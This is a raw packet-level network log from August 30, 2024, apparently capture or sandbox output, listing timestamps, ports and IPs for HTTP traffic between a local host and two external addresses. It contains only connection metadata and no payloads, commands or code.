Aug 30, 2024 03:17:08.459820032 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.459825039 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.459836960 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.459841013 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.459851980 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.459857941 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.459877968 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.459901094 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.459990025 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.460025072 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.460031033 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.460041046 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.460047007 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.460052013 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.460063934 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.460071087 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.460076094 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.460082054 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.460094929 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.460114956 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.460141897 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.460149050 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.460155010 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.460160017 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.460165024 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.460170984 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.460186958 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.460211992 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.460274935 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.460280895 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.460287094 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.460292101 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.460297108 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.460300922 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.460313082 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.460325003 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.460338116 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.460342884 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.460354090 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.460382938 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.460393906 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.460403919 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.460412025 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.460423946 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.460429907 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.460442066 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.460452080 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.460479021 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.460500002 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.460525036 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.460530043 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.460536003 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.460541964 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.460546970 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.460560083 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.460570097 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.460587025 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.460661888 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.460669041 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.460680008 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.460685015 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.460690975 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.460702896 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.460707903 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.460716963 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.460731983 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.460751057 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.461143970 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.461182117 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.461188078 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.461193085 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.461210012 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.461227894 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.461229086 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.461236954 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.461247921 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.461271048 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.461277962 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.461287975 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.461314917 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.461386919 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.461433887 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.461443901 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.461451054 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.461457014 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.461469889 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.461493969 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.461563110 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.461572886 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.461585045 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.461591005 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.461596966 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.461620092 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.461642981 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.461667061 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.461673021 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.461688995 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.461694002 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.461716890 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.461729050 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.461873055 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.461944103 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.461991072 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.462044954 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.462112904 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.462117910 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.462130070 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.462157965 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.462162971 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.462167025 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.462194920 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.462224007 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.462260008 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.465410948 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.465431929 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.465437889 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.465459108 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.465471029 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.465547085 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.465553045 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.465559959 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.465564966 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.465569019 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.465599060 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.465615034 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.465636969 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.465642929 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.465653896 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.465658903 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.465683937 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.465707064 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.465725899 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.465729952 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.465740919 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.465770960 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.469160080 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.469165087 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.469176054 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.469211102 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.469216108 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.469221115 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.469222069 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.469260931 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.469394922 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.469402075 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.469412088 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.469417095 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.469422102 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.469428062 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.469440937 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.469448090 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.469464064 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.469475985 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.469480991 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.469516993 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.469522953 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.469532967 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.469538927 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.469543934 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.469562054 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.469568014 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.469568014 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.469573975 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.469590902 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.469608068 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.491125107 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.491132021 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.491137028 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.491173029 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.491182089 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.491194963 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.491199017 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.491205931 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.491215944 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.491225004 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.491231918 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.491247892 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.491276979 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.491373062 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.491378069 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.491411924 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.491461039 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.491467953 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.491478920 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.491483927 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.491513968 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.491514921 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.491604090 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.523268938 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.523274899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.523279905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.523346901 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.523351908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.523356915 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.523366928 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.523371935 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.523376942 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.523407936 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.523422956 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.523448944 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.523471117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.523475885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.523487091 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.523490906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.523495913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.523511887 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.523513079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.523545027 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.523545027 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.524013996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.524118900 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.524228096 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.528958082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.543981075 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.543987036 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.543997049 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.544059992 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.544059992 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.544065952 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.544080019 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.544086933 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.544118881 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.544118881 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.544203997 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.544209957 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.544220924 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.544225931 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.544231892 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.544238091 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.544244051 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.544264078 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.544302940 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.545393944 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.545433998 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.545439959 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.545495987 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.545532942 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.545537949 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.545548916 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.545553923 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.545598030 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.545598030 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.545675039 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.545681953 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.545753956 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.545783043 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.545789957 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.545799017 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.545809984 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.545814991 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.545831919 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.545838118 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.545840025 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.545840025 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.545849085 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.545867920 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.545897007 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.545898914 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.545902967 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.545912981 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.545917988 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.545943022 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.545968056 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.546104908 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546109915 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546116114 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546120882 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546127081 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546153069 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.546200037 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546212912 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546221972 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.546224117 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546231031 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546243906 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546248913 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546258926 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546260118 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.546260118 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.546264887 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546288013 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.546288013 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.546319962 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546324968 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546336889 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546339989 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546365976 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.546391010 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.546422005 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546427965 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546433926 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546439886 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546443939 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546483040 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.546483040 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.546612978 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546624899 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546636105 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546641111 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546646118 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546650887 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546660900 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546720028 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.546720028 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.546720028 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.546843052 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546849012 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546900034 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.546926022 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546931982 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546941996 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546947002 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.546952009 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.547013998 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.547036886 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.547064066 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.547070026 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.547080040 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.547111988 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.547172070 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.547204971 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.547209978 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.547254086 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.547283888 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.547288895 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.547300100 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.547305107 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.547333002 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.547339916 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.547353029 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.547369003 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.547379971 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.547384977 CEST	80	49734	147.45.44.104	192.168.2.4
